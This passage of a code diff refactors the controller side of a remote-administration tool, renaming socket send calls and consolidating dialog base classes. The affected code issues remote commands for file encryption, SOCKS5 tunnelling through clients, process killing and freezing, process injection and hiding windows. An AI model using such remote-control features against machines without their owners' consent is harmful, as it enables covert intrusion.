- m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize);
+ m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
LocalFree(bPacket);
// 从下载任务列表中删除自己
@@ -1376,7 +1376,7 @@ void CFileManagerDlg::CreateLocalRecvFile()
SendStop(TRUE);
else {
// 发送继续传输文件的token,包含文件续传的偏移
- m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken));
+ m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
}
}
@@ -1439,7 +1439,7 @@ void CFileManagerDlg::WriteLocalRecvFile()
bToken[0] = COMMAND_CONTINUE;
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
- m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken));
+ m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
}
}
@@ -1534,13 +1534,13 @@ void CFileManagerDlg::EndRemoteDeleteFile()
void CFileManagerDlg::SendException()
{
BYTE bBuff = COMMAND_FILE_EXCEPTION;
- m_iocpServer->Send(m_ContextObject, &bBuff, 1);
+ m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
}
void CFileManagerDlg::SendContinue()
{
BYTE bBuff = COMMAND_CONTINUE;
- m_iocpServer->Send(m_ContextObject, &bBuff, 1);
+ m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
}
void CFileManagerDlg::SendStop(BOOL bIsDownload)
@@ -1552,7 +1552,7 @@ void CFileManagerDlg::SendStop(BOOL bIsDownload)
BYTE bBuff[2];
bBuff[0] = COMMAND_STOP;
bBuff[1] = bIsDownload;
- m_iocpServer->Send(m_ContextObject, bBuff, sizeof(bBuff));
+ m_iocpServer->Send2Client(m_ContextObject, bBuff, sizeof(bBuff));
}
void CFileManagerDlg::ShowProgress()
@@ -1668,7 +1668,7 @@ void CFileManagerDlg::SendTransferMode()
BYTE bToken[5];
bToken[0] = COMMAND_SET_TRANSFER_MODE;
memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode));
- m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken));
+ m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
}
void CFileManagerDlg::SendFileData()
@@ -1707,7 +1707,7 @@ void CFileManagerDlg::SendFileData()
if (nNumberOfBytesRead > 0) {
int nPacketSize = nNumberOfBytesRead + nHeadLength;
- m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
}
LocalFree(lpBuffer);
}
@@ -1759,7 +1759,7 @@ void CFileManagerDlg::OnRemoteNewFolder()
LPBYTE lpBuffer = new BYTE[nPacketSize];
lpBuffer[0] = COMMAND_CREATE_FOLDER;
memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1);
- m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
SAFE_DELETE_AR(lpBuffer);
}
}
@@ -1792,7 +1792,7 @@ void CFileManagerDlg::OnEndLabelEditListRemote(NMHDR* pNMHDR, LRESULT* pResult)
memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), (strExistingFileName.GetLength() + 1) * sizeof(TCHAR));
memcpy(lpBuffer + 1 + (strExistingFileName.GetLength() + 1) * sizeof(TCHAR),
strNewFileName.GetBuffer(0), (strNewFileName.GetLength() + 1) * sizeof(TCHAR));
- m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
LocalFree(lpBuffer);
}
*pResult = 1;
@@ -1802,7 +1802,7 @@ void CFileManagerDlg::OnDelete()
{
BYTE bBuff;
bBuff = COMMAND_FILE_NO_ENFORCE;
- m_iocpServer->Send(m_ContextObject, &bBuff, sizeof(bBuff));
+ m_iocpServer->Send2Client(m_ContextObject, &bBuff, sizeof(bBuff));
OnRemoteDelete();
}
@@ -1810,7 +1810,7 @@ void CFileManagerDlg::OnDeleteEnforce()
{
BYTE bBuff;
bBuff = COMMAND_FILE_ENFOCE;
- m_iocpServer->Send(m_ContextObject, &bBuff, sizeof(bBuff));
+ m_iocpServer->Send2Client(m_ContextObject, &bBuff, sizeof(bBuff));
OnRemoteDelete();
}
@@ -1846,7 +1846,7 @@ void CFileManagerDlg::OnRemoteOpenShow()
lpPacket[0] = COMMAND_OPEN_FILE_SHOW;
lpPacket[1] = m_bUseAdmin;
memcpy(lpPacket + 2, str.GetBuffer(0), nPacketLength - 2);
- m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
+ m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
LocalFree(lpPacket);
}
@@ -1864,7 +1864,7 @@ void CFileManagerDlg::OnRemoteOpenHide()
lpPacket[0] = COMMAND_OPEN_FILE_HIDE;
lpPacket[1] = m_bUseAdmin;
memcpy(lpPacket + 2, str.GetBuffer(0), nPacketLength - 2);
- m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
+ m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
LocalFree(lpPacket);
}
@@ -1881,7 +1881,7 @@ void CFileManagerDlg::OnRemoteInfo()
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
lpPacket[0] = COMMAND_FILE_INFO;
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
- m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
+ m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
LocalFree(lpPacket);
}
@@ -1900,7 +1900,7 @@ void CFileManagerDlg::OnRemoteEncryption()
lpPacket[0] = COMMAND_FILE_Encryption;
memcpy(lpPacket + 1, strA.GetBuffer(0), nPacketLength - 1);
- m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
+ m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
LocalFree(lpPacket);
}
@@ -1919,7 +1919,7 @@ void CFileManagerDlg::OnRemoteDecrypt()
lpPacket[0] = COMMAND_FILE_Decrypt;
memcpy(lpPacket + 1, strA.GetBuffer(0), nPacketLength - 1);
- m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
+ m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
LocalFree(lpPacket);
}
@@ -1940,7 +1940,7 @@ void CFileManagerDlg::OnRemoteCopyFile()
lpPacket[0] = COMMAND_FILE_CopyFile;
memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1);
- m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
+ m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
LocalFree(lpPacket);
ShowMessage(_T("准备粘贴"));
}
@@ -1951,7 +1951,7 @@ void CFileManagerDlg::OnRemotePasteFile()
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
lpPacket[0] = COMMAND_FILE_PasteFile;
memcpy(lpPacket + 1, m_Remote_Path.GetBuffer(0), nPacketLength - 1);
- m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
+ m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
LocalFree(lpPacket);
}
@@ -1975,7 +1975,7 @@ void CFileManagerDlg::OnRemotezip()
lpPacket[0] = COMMAND_FILE_zip;
memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1);
- m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
+ m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
LocalFree(lpPacket);
ShowMessage(_T("开始压缩,不要关闭窗口,其他操作继续"));
@@ -1984,7 +1984,7 @@ void CFileManagerDlg::OnRemotezip()
void CFileManagerDlg::OnRemotezipstop()
{
BYTE lpPacket = COMMAND_FILE_zip_stop;
- m_iocpServer->Send(m_ContextObject, &lpPacket, 1);
+ m_iocpServer->Send2Client(m_ContextObject, &lpPacket, 1);
}
void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
@@ -2033,7 +2033,7 @@ void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
BYTE* lpbuffer = new BYTE[sizeof(SEARCH) + 1];
lpbuffer[0] = COMMAND_FILE_SEARCHPLUS_LIST;
memcpy(lpbuffer + 1, &S_search, sizeof(SEARCH));
- m_iocpServer->Send(m_ContextObject, (LPBYTE)lpbuffer, sizeof(SEARCH) + 1);
+ m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)lpbuffer, sizeof(SEARCH) + 1);
SAFE_DELETE_AR(lpbuffer);
SetWindowPos(NULL, 0, 0, 830, 830, SWP_NOMOVE);
}
@@ -2308,7 +2308,7 @@ void CFileManagerDlg::OnCompress()
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
lpPacket[0] = COMMAND_COMPRESS_FILE_PARAM;
memcpy(lpPacket + 1, strMsg.GetBuffer(0), nPacketLength - 1);
- m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
+ m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
LocalFree(lpPacket);
}
@@ -2335,7 +2335,7 @@ void CFileManagerDlg::OnUncompress()
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
lpPacket[0] = COMMAND_COMPRESS_FILE_PARAM;
memcpy(lpPacket + 1, strMsg.GetBuffer(0), nPacketLength - 1);
- m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
+ m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
LocalFree(lpPacket);
}
@@ -2368,7 +2368,7 @@ void CFileManagerDlg::OnBtnSearch()
LPBYTE lpBuffer = new BYTE[nPacketSize];
lpBuffer[0] = COMMAND_SEARCH_FILE;
memcpy(lpBuffer + 1, &mFileSearchPacket, sizeof(mFileSearchPacket));
- m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
SAFE_DELETE_AR(lpBuffer);
// 设置按钮状态
m_BtnSearch.SetWindowText(_T("正在搜索..."));
@@ -2441,7 +2441,7 @@ void CFileManagerDlg::OnBnClickedSearchStop()
GetDlgItem(ID_SEARCH_STOP)->EnableWindow(FALSE);
// TODO: Add your command handler code here
BYTE bToken = COMMAND_FILES_SEARCH_STOP;
- m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE));
+ m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
}
//显示搜索结果
diff --git a/server/2015Remote/file/CFileManagerDlg.h b/server/2015Remote/file/CFileManagerDlg.h
index a4250cf..18a7526 100644
--- a/server/2015Remote/file/CFileManagerDlg.h
+++ b/server/2015Remote/file/CFileManagerDlg.h
@@ -92,7 +92,7 @@ namespace file {
void fixNetHood(BYTE* pbuffer, int buffersize);//远程共享目录
bool id_search_result;
CStatusBar m_wndStatusBar;
- CFileManagerDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
+ CFileManagerDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
~CFileManagerDlg() {
m_bIsClosed = TRUE;
SAFE_DELETE(m_ProgressCtrl);
diff --git a/server/2015Remote/proxy/ProxyMapDlg.cpp b/server/2015Remote/proxy/ProxyMapDlg.cpp
index 4d257c9..a61c4d4 100644
--- a/server/2015Remote/proxy/ProxyMapDlg.cpp
+++ b/server/2015Remote/proxy/ProxyMapDlg.cpp
@@ -14,14 +14,10 @@
#define IDM_PROXY_CHROME 8000
-CProxyMapDlg::CProxyMapDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
- : CDialog(CProxyMapDlg::IDD, pParent)
+CProxyMapDlg::CProxyMapDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
+ : CDialogBase(CProxyMapDlg::IDD, pParent, pIOCPServer, pContext, IDI_Proxifier)
{
- m_iocpServer = pIOCPServer;
- m_ContextObject = pContext;
m_iocpLocal = NULL;
- m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_Proxifier));
- m_bIsClose = false;
}
void CProxyMapDlg::DoDataExchange(CDataExchange* pDX)
@@ -87,24 +83,24 @@ BOOL CProxyMapDlg::OnInitDialog()
void CProxyMapDlg::OnCancel()
{
- if (m_bIsClose) return;
+ m_bIsClosed = true;
+ // 等待数据处理完毕
+ if (IsProcessing()) {
+ ShowWindow(SW_HIDE);
+ return;
+ }
+ m_iocpLocal->Shutdown();
+ SAFE_DELETE(m_iocpLocal);
- m_bIsClose = true;
- m_iocpServer->Disconnect(m_ContextObject);
- DestroyIcon(m_hIcon);
- m_iocpLocal->Shutdown();
- SAFE_DELETE(m_iocpLocal);
- CancelIo((HANDLE)m_ContextObject->sClientSocket);
- closesocket(m_ContextObject->sClientSocket);
- Sleep(50);
- if (IsWindow(m_hWnd))
- DestroyWindow();
+ CancelIO();
+
+ DialogBase::OnClose();
}
void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT nCode)
{
CProxyMapDlg* g_pProxyMap = (CProxyMapDlg*)user;
- if (g_pProxyMap->m_bIsClose) return;
+ if (g_pProxyMap->m_bIsClosed) return;
DWORD index = pContext->ID;
TCHAR szMsg[200] = { 0 };
@@ -118,7 +114,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
BYTE lpData[5] = "";
lpData[0] = COMMAND_PROXY_CLOSE;
memcpy(lpData + 1, &index, sizeof(DWORD));
- g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, lpData, 5);
+ g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, lpData, 5);
}
wsprintf(szMsg, _T("%d 本地连接断开\r\n"), index);
break;
@@ -126,7 +122,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
break;
case NC_RECEIVE:
if (pContext->m_bProxyConnected == 2) {
- g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, pContext->InDeCompressedBuffer.GetBuffer(0),
+ g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, pContext->InDeCompressedBuffer.GetBuffer(0),
pContext->InDeCompressedBuffer.GetBufferLength());
wsprintf(szMsg, _T("%d <==发 %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5);
} else if (pContext->m_bProxyConnected == 0) {
@@ -143,7 +139,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
buf[0] = COMMAND_PROXY_CONNECT; // 1个字节 ip v4 连接
memcpy(buf + 1, &index, 4); // 四个字节 套接字的编号
memcpy(buf + 5, lpData + 4, 6); // 4字节ip 2字节端口
- g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, buf, sizeof(buf));
+ g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, buf, sizeof(buf));
in_addr inaddr = {};
inaddr.s_addr = *(DWORD*)(buf + 5);
char szmsg1[MAX_PATH];
@@ -156,7 +152,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
memcpy(HostName + 7, &Socks5Request->szIP, Socks5Request->IP_LEN);
memcpy(HostName + 1, &index, 4);
memcpy(HostName + 5, &Socks5Request->szIP + Socks5Request->IP_LEN, 2);
- g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, HostName, Socks5Request->IP_LEN + 8);
+ g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, HostName, Socks5Request->IP_LEN + 8);
SAFE_DELETE_ARRAY(HostName);
wsprintf(szMsg, _T("域名 连接 %d \r\n"), index);
} else if (lpData[3] == 4) { //ipv6
@@ -193,7 +189,7 @@ void CProxyMapDlg::OnReceiveComplete()
if (m_iocpLocal == NULL)
return;
- if (m_iocpLocal->m_TcpServer->HasStarted() == FALSE || m_bIsClose)
+ if (m_iocpLocal->m_TcpServer->HasStarted() == FALSE || m_bIsClosed)
return;
LPBYTE buf = m_ContextObject->m_DeCompressionBuffer.GetBuffer(0);
@@ -255,14 +251,14 @@ void CProxyMapDlg::OnReceiveComplete()
void CProxyMapDlg::AddLog(TCHAR* lpText)
{
- if (m_bIsClose == TRUE) return;
+ if (m_bIsClosed == TRUE) return;
m_Edit.SetSel(-1, -1);
m_Edit.ReplaceSel(lpText);
}
void CProxyMapDlg::AddLog_other(TCHAR* lpText)
{
- if (m_bIsClose == TRUE) return;
+ if (m_bIsClosed == TRUE) return;
m_EditOther.SetSel(-1, -1);
m_EditOther.ReplaceSel(lpText);
}
@@ -285,15 +281,6 @@ void CProxyMapDlg::OnSize(UINT nType, int cx, int cy)
m_Edit.MoveWindow(&rectEdit);
}
-void CProxyMapDlg::PostNcDestroy()
-{
- if (!m_bIsClose)
- OnCancel();
- CDialog::PostNcDestroy();
- delete this;
-}
-
-
void CProxyMapDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
CMenu* pSysMenu = GetSystemMenu(FALSE);
diff --git a/server/2015Remote/proxy/ProxyMapDlg.h b/server/2015Remote/proxy/ProxyMapDlg.h
index 8a2257f..14ed2cb 100644
--- a/server/2015Remote/proxy/ProxyMapDlg.h
+++ b/server/2015Remote/proxy/ProxyMapDlg.h
@@ -31,10 +31,10 @@ typedef struct {
} Socks5Info;
// 代理测试: curl --socks5 127.0.0.1:5543 https://www.example.com
-class CProxyMapDlg : public CDialog
+class CProxyMapDlg : public DialogBase
{
public:
- CProxyMapDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
+ CProxyMapDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
enum { IDD = IDD_PROXY };
@@ -45,7 +45,6 @@ public:
void AddLog(TCHAR* lpText);
void AddLog_other(TCHAR* lpText);
virtual void DoDataExchange(CDataExchange* pDX);
- virtual void PostNcDestroy();
virtual void OnCancel();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
virtual BOOL OnInitDialog();
@@ -53,11 +52,7 @@ public:
DECLARE_MESSAGE_MAP()
private:
- ClientContext* m_ContextObject;
- ISocketBase* m_iocpServer;
CProxyConnectServer* m_iocpLocal;
- HICON m_hIcon;
- bool m_bIsClose;
CEdit m_Edit;
USHORT m_nPort;
CEdit m_EditOther;
diff --git a/server/2015Remote/sys/MachineDlg.cpp b/server/2015Remote/sys/MachineDlg.cpp
index 52f2439..d4dd620 100644
--- a/server/2015Remote/sys/MachineDlg.cpp
+++ b/server/2015Remote/sys/MachineDlg.cpp
@@ -23,7 +23,7 @@ static UINT indicators[] = {
};
-CMachineDlg::CMachineDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
+CMachineDlg::CMachineDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
: DialogBase(CMachineDlg::IDD, pParent, pIOCPServer, pContext, IDI_MACHINE)
{
m_pMainWnd = (CMy2015RemoteDlg*)pParent;
@@ -163,7 +163,7 @@ BOOL CMachineDlg::OnInitDialog()
AdjustList();
BYTE lpBuffer = COMMAND_MACHINE_PROCESS;
- m_iocpServer->Send(m_ContextObject, (LPBYTE)&lpBuffer, 1);
+ m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)&lpBuffer, 1);
return TRUE;
}
@@ -333,7 +333,7 @@ void CMachineDlg::reflush()
int nID = m_tab.GetCurSel();
DeleteList();
BYTE TOKEN = MachineManager(nID);
- m_iocpServer->Send(m_ContextObject, (LPBYTE)&TOKEN, 1);
+ m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)&TOKEN, 1);
}
@@ -800,7 +800,7 @@ void CMachineDlg::SendToken(BYTE bToken)
lpBuffer[0] = bToken;
memcpy(lpBuffer + 1, tSerName.GetBuffer(0), tSerName.GetLength() * sizeof(char));
- m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
LocalFree(lpBuffer);
}
@@ -878,7 +878,7 @@ void CMachineDlg::ShowProcessList_menu()
lpBuffer[0] = COMMAND_PROCESS_KILLDEL;
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
- m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
SAFE_DELETE_AR(lpBuffer);
}
}
@@ -891,7 +891,7 @@ void CMachineDlg::ShowProcessList_menu()
lpBuffer[0] = COMMAND_PROCESS_KILL;
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
- m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
SAFE_DELETE_AR(lpBuffer);
}
}
@@ -904,7 +904,7 @@ void CMachineDlg::ShowProcessList_menu()
lpBuffer[0] = COMMAND_PROCESS_FREEZING;
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
- m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
SAFE_DELETE_AR(lpBuffer);
}
}
@@ -917,7 +917,7 @@ void CMachineDlg::ShowProcessList_menu()
lpBuffer[0] = COMMAND_PROCESS_THAW;
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
- m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
SAFE_DELETE_AR(lpBuffer);
}
}
@@ -930,7 +930,7 @@ void CMachineDlg::ShowProcessList_menu()
lpBuffer[0] = COMMAND_PROCESS_DEL;
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
- m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
SAFE_DELETE_AR(lpBuffer);
}
}
@@ -967,7 +967,7 @@ void CMachineDlg::ShowProcessList_menu()
DWORD wr = 0;
ReadFile(hFile, lpBuffer + sizeof(InjectData)+1, p_InjectData->datasize, &wr, NULL);
CloseHandle(hFile);
- m_iocpServer->Send(m_ContextObject, lpBuffer, allsize);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, allsize);
SAFE_DELETE_AR(lpBuffer);
}
SAFE_DELETE(p_InjectData);
@@ -1041,7 +1041,7 @@ void CMachineDlg::ShowWindowsList_menu()
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
DWORD dHow = SW_RESTORE;
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
- m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
+ m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
}
}
break;
@@ -1056,7 +1056,7 @@ void CMachineDlg::ShowWindowsList_menu()
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
DWORD dHow = SW_HIDE;
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
- m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
+ m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
}
}
break;
@@ -1070,7 +1070,7 @@ void CMachineDlg::ShowWindowsList_menu()
DWORD hwnd = _tstoi(m_list.GetItemText(nItem, 1));
m_list.SetItemText(nItem, 3, _T("发送关闭命令"));
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
- m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
+ m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
}
}
break;
@@ -1085,7 +1085,7 @@ void CMachineDlg::ShowWindowsList_menu()
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
DWORD dHow = SW_MAXIMIZE;
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
- m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
+ m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
}
}
break;
@@ -1100,7 +1100,7 @@ void CMachineDlg::ShowWindowsList_menu()
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
DWORD dHow = SW_MINIMIZE;
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
- m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
+ m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
}
}
break;
@@ -1114,7 +1114,7 @@ void CMachineDlg::ShowWindowsList_menu()
pid = m_list.GetItemText(nItem, 0);
DWORD dwProcessID = _tstoi(pid);
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
- m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
SAFE_DELETE_AR(lpBuffer);
}
}
@@ -1129,7 +1129,7 @@ void CMachineDlg::ShowWindowsList_menu()
pid = m_list.GetItemText(nItem, 0);
DWORD dwProcessID = _tstoi(pid);
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
- m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
SAFE_DELETE_AR(lpBuffer);
}
}
@@ -1144,7 +1144,7 @@ void CMachineDlg::ShowWindowsList_menu()
pid = m_list.GetItemText(nItem, 0);
DWORD dwProcessID = _tstoi(pid);
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
- m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
SAFE_DELETE_AR(lpBuffer);
}
}
@@ -1201,7 +1201,7 @@ void CMachineDlg::ShowNetStateList_menu()
lpBuffer[0] = COMMAND_PROCESS_KILL;
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
- m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
SAFE_DELETE_AR(lpBuffer);
}
}
@@ -1270,7 +1270,7 @@ void CMachineDlg::ShowSoftWareList_menu()
LPBYTE lpBuffer = new BYTE[1 + str_a.GetLength()];
lpBuffer[0] = COMMAND_APPUNINSTALL;
memcpy(lpBuffer + 1, str_a.GetBuffer(0), str_a.GetLength());
- m_iocpServer->Send(m_ContextObject, lpBuffer, str_a.GetLength() + 1);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, str_a.GetLength() + 1);
SAFE_DELETE_AR(lpBuffer);
}
}
@@ -1366,7 +1366,7 @@ void CMachineDlg::ShowTaskList_menu()
memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2);
offset += lstrlen(taskname.GetBuffer()) * 2 + 2;
- m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
LocalFree(lpBuffer);
}
@@ -1394,7 +1394,7 @@ void CMachineDlg::ShowTaskList_menu()
memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2);
offset += lstrlen(taskname.GetBuffer()) * 2 + 2;
- m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
LocalFree(lpBuffer);
}
@@ -1422,7 +1422,7 @@ void CMachineDlg::ShowTaskList_menu()
memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2);
offset += lstrlen(taskname.GetBuffer()) * 2 + 2;
- m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
LocalFree(lpBuffer);
}
@@ -1454,7 +1454,7 @@ void CMachineDlg::ShowTaskList_menu()
memcpy(lpBuffer + offset, dlg->m_Description.GetBuffer(), lstrlen(dlg->m_Description.GetBuffer()) * 2 + 2);
offset += lstrlen(dlg->m_Description.GetBuffer()) * 2 + 2;
- m_iocpServer->Send(m_ContextObject, lpBuffer, len);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, len);
LocalFree(lpBuffer);
}
@@ -1465,7 +1465,7 @@ void CMachineDlg::ShowTaskList_menu()
break;
case 104: {
